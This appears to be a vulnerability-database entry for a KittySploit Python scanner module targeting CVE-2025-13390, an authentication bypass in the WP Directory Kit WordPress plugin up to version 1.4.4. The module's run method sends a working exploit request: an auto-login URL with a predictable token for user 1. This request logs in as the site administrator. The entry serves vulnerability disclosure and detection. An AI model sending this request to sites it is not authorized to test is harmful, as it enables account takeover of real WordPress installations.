Lucene search
+L

WP Directory Kit <= 1.4.4 - Authentication Bypass Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Unauthenticated authentication bypass in WP Directory Kit auto-login gives admin access.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Incorrect Implementation of Authentication Algorithm in Wpdirectorykit Wp_Directory_Kit
5 Jan 202618:45
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-13390
20 Nov 202501:45
–githubexploit
circl
Circl
CVE-2025-13390
3 Dec 202515:28
–circl
cnnvd
CNNVD
WordPress plugin WP Directory Kit 安全漏洞
3 Dec 202500:00
–cnnvd
cve
CVE
CVE-2025-13390
3 Dec 202513:52
–cve
cvelist
Cvelist
CVE-2025-13390 WP Directory Kit <= 1.4.4 - Authentication Bypass to Privilege Escalation via Account Takeover
3 Dec 202513:52
–cvelist
euvd
EUVD
EUVD-2025-200972
3 Dec 202513:52
–euvd
kitploit
Kitploit
CVE-2025-13390
15 Oct 202612:54
–kitploit
kitploit
Kitploit
CVE-2025-13390
15 Oct 202618:10
–kitploit
nuclei
Nuclei
WP Directory Kit <= 1.4.4 - Authentication Bypass
17 Oct 202602:05
–nuclei
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The WP Directory Kit plugin for WordPress version 1."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WP Directory Kit <= 1.4.4 - Authentication Bypass Detection',
        'description': 'The WP Directory Kit plugin for WordPress version 1.4.4 and below contains an authentication bypass vulnerability in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access by exploiting a cryptographically weak token generation mechanism that uses only the first 10 characters of MD5(user_id). For user_id=1 (typically admin), the token is always predictable.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2025', 'wordpress', 'wp', 'wp-plugin', 'auth-bypass', 'wpdirectorykit', 'vkev'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/actions.php#L116',
            'https://ryankozak.com/posts/cve-2025-13390/',
            'https://github.com/d0n601/CVE-2025-13390',
            'https://nvd.nist.gov/vuln/detail/CVE-2025-13390',
        ],
        'cve': 'CVE-2025-13390',
    }

    def run(self):
        path = '/?auto-login=1&user_id=1&token=c4ca4238a0'
        r = self.http_request(method='GET', path=path, allow_redirects=True, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'})
        if not r or r.status_code != 302:
            return False
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items()).lower()
        header_any = ('wordpress_logged_in_', 'set-cookie',)
        if any(m in headers for m in header_any):
            self.set_info(severity='critical', reason='WP Directory Kit <= 1.4.4 - Authentication Bypass detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8 - 10
EPSS0.04555
SSVC
3